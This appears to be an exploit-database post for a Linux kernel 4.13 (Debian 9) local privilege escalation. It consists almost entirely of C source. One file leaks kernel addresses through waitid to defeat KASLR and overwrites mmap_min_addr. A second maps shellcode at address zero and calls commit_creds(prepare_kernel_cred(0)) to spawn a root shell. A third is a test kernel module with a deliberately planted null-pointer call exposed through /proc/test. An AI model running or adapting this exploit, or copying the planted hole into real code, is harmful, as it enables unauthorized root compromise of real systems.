Linux Kernel 4.13 (Debian 9) – Local Privilege Escalation
/** disable_map_min_add.c **/ /* * */ #include <stdio.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #include <stdlib.h> #include <sys/resource.h> #include <syscall.h> /* offsets might differ, kernel was custom compiled * you can read vmlinux and caculate the offset when testing */ /* #define OFFSET_KERNEL_BASE 0x000000 */ #define MMAP_MIN_ADDR 0x1101de8 #define DAC_MMAP_MIN_ADDR 0xe8e810 /* get kernel functions address by reading /proc/kallsyms */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[256]; int ret = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { printf("[-] Failed to open /proc/kallsyms\n"); exit(-1); } printf("[+] Find %s...\n", name); while(ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); printf("[+] Found %s at %lx\n", name, addr); return addr; } } fclose(f); return 0; } int main(void) { int pid, pid2, pid3; struct rusage rusage = { }; unsigned long *p, *kernel_base; char *mmap_min_addr, *dac_mmap_min_addr; pid = fork(); if (pid > 0) { /* try to bypass kaslr when /proc/kallsyms isn't readable */ syscall(__NR_waitid, P_PID, pid, NULL, WEXITED|WNOHANG|__WNOTHREAD, &rusage); printf("[+] Leak size=%d bytes\n", sizeof(rusage)); for (p = (unsigned long *)&rusage; p < (unsigned long *)((char *)&rusage + sizeof(rusage)); p++) { printf("[+] Leak point: %p\n", p); if (*p > 0xffffffff00000000 && *p < 0xffffffffff000000) { p = (unsigned long *)(*p&0xffffffffff000000 /*+ OFFSET_TO_BASE*/); // spender's wouldn't actually work when KASLR was enabled break; } } if(p < (unsigned long *)0xffffffff00000000 || p > (unsigned long *)0xffffffffff000000) exit(-1); } else if (pid == 0) { sleep(1); exit(0); } kernel_base = get_kernel_sym("startup_64"); printf("[+] Got kernel base: %p\n", kernel_base); mmap_min_addr = (char *)kernel_base + MMAP_MIN_ADDR; printf("[+] Got mmap_min_addr: %p\n", mmap_min_addr); dac_mmap_min_addr = (char *)kernel_base + DAC_MMAP_MIN_ADDR; printf("[+] Got dac_mmap_min_addr: %p\n", dac_mmap_min_addr); pid2 = fork(); if (pid2 > 0) { printf("[+] Overwriting map_min_addr...\n"); if (syscall(__NR_waitid, P_PID, pid, (siginfo_t *)(mmap_min_addr - 2), WEXITED|WNOHANG|__WNOTHREAD, NULL) < 0) { printf("[-] Failed!\n"); exit(1); } } else if (pid2 == 0) { sleep(1); exit(0); } pid3 = fork(); if (pid3 > 0) { printf("[+] Overwriting dac_mmap_min_addr...\n"); if (syscall(__NR_waitid, P_PID, pid, (siginfo_t *)(dac_mmap_min_addr - 2), WEXITED|WNOHANG|__WNOTHREAD, NULL) < 0) { printf("[-] Failed!\n"); exit(1); } printf("[+] map_min_addr disabled!\n"); exit(0); } else if (pid3 == 0) { sleep(1); exit(0); } return 0; } /** disable_map_min_add.c EOF **/ /** null_poiter_exploit.c **/ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/mman.h> #include <string.h> #include <unistd.h> #include <unistd.h> #include <fcntl.h> struct cred; struct task_struct; typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3))); typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3))); prepare_kernel_cred_t prepare_kernel_cred; commit_creds_t commit_creds; /* a kernel null pointer derefence will help get privilege * /proc/test is a kernel-load module create for testing * touch_null_kp can be replace your own implement to * touch a kernel null ponit */ void touch_null_kp() { printf("[+]Start touch kernel null point\n"); int *f = open("/proc/test", O_RDONLY); read(f, NULL, 0); } /* run shell after root */ void get_shell() { char *argv[] = {"/bin/sh", NULL}; if (getuid() == 0){ printf("[+] Root shell success !! :)\n"); execve("/bin/sh", argv, NULL); } printf("[-] failed to get root shell :(\n"); } /* use for privilige escalation */ void get_root() { commit_creds(prepare_kernel_cred(0)); } /* get function address by reading /proc/kallsyms */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[256]; int ret = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { printf("[-] Failed to open /proc/kallsyms\n"); exit(-1); } printf("[+] Find %s...\n", name); while(ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); printf("[+] Found %s at %lx\n", name, addr); return addr; } } fclose(f); return 0; } int main(int ac, char **av) { /* get function address */ prepare_kernel_cred = (prepare_kernel_cred_t)get_kernel_sym("prepare_kernel_cred"); commit_creds = (commit_creds_t)get_kernel_sym("commit_creds"); printf("Got commit_creds:%p,prepare_kernel_cred%p\n", commit_creds, prepare_kernel_cred); /* allocate memory loacate in 0x00 */ printf("[+] Try to allocat 0x00000000...\n"); if (mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (char *)-1){ printf("[-] Failed to allocat 0x00000000\n"); return -1; } printf("[+] Allocation success !\n"); /* memset(0, 0xcc, 4096); */ /* //movq rax, 0xffffffff81f3f45a //movq [rax], 0 // it is not nessecc mov rax, 0x4242424242424242 call rax xor rax, rax ret replace 0x4242424242424242 by get_root https://defuse.ca/online-x86-assembler.htm#disassembly */ unsigned char shellcode[] = { /*0x48, 0xC7, 0xC0, 0x5A, 0xF4, 0xF3, 0x81, *//*0x48, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00,*/ 0x48, 0xB8, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0xFF, 0xD0, 0x48, 0x31, 0xC0, 0xC3 }; /* insert the getroot address to shellcode */ void **get_root_offset = rawmemchr(shellcode, 0x42); (*get_root_offset) = get_root; /* map shellcode to 0x00 */ memcpy(0, shellcode, sizeof(shellcode)); /* jmp to 0x00 */ touch_null_kp(); get_shell(); } /** null_poiter_exploit.c EOF **/ /** test.c **/ #include <linux/init.h> #include <linux/module.h> #include <linux/proc_fs.h> #include <linux/uaccess.h> #include <linux/slab.h> #include <asm/ptrace.h> #include <asm/thread_info.h> #define MY_DEV_NAME "test" #define DEBUG_FLAG "PROC_DEV" extern unsigned long proc_test_sp_print; static ssize_t proc_read (struct file *proc_file, char __user *proc_user, size_t n, loff_t *loff); static ssize_t proc_write (struct file *proc_file, const char __user *proc_user, size_t n, loff_t *loff); static int proc_open (struct inode *proc_inode, struct file *proc_file); static struct file_operations a = { .open = proc_open, .read = proc_read, .write = proc_write, }; static int __init mod_init(void) { struct proc_dir_entry *test_entry; const struct file_operations *proc_fops = &a; printk(DEBUG_FLAG":proc init start\n"); test_entry = proc_create(MY_DEV_NAME, S_IRUGO|S_IWUGO, NULL, proc_fops); if(!test_entry) printk(DEBUG_FLAG":there is somethings wrong!\n"); printk(DEBUG_FLAG":proc init over!\n"); return 0; } static ssize_t proc_read (struct file *proc_file, char *proc_user, size_t n, loff_t *loff) { void (*fun)(void); fun = NULL; //printk("%s:thread.sp0: %p, task->stack: %p\n", "PROC", current->thread.sp0, current->stack); fun(); //printk("The memory of %p : %d\n", proc_user, *proc_user); return 0; } static ssize_t proc_write (struct file *proc_file, const char __user *proc_user, size_t n, loff_t *loff) { printk("%s:thread.sp0: %p, task->stack: %p\n", "PROC", current->thread.sp0, current->stack); return 0; } int proc_open (struct inode *proc_inode, struct file *proc_file) { printk(DEBUG_FLAG":into open, cmdline:%s!\n", current->comm); printk("%s:thread.sp0: %p, task->stack: %p\n", "PROC", current->thread.sp0, current->stack); return 0; } module_init(mod_init); /** test.c EOF **/ |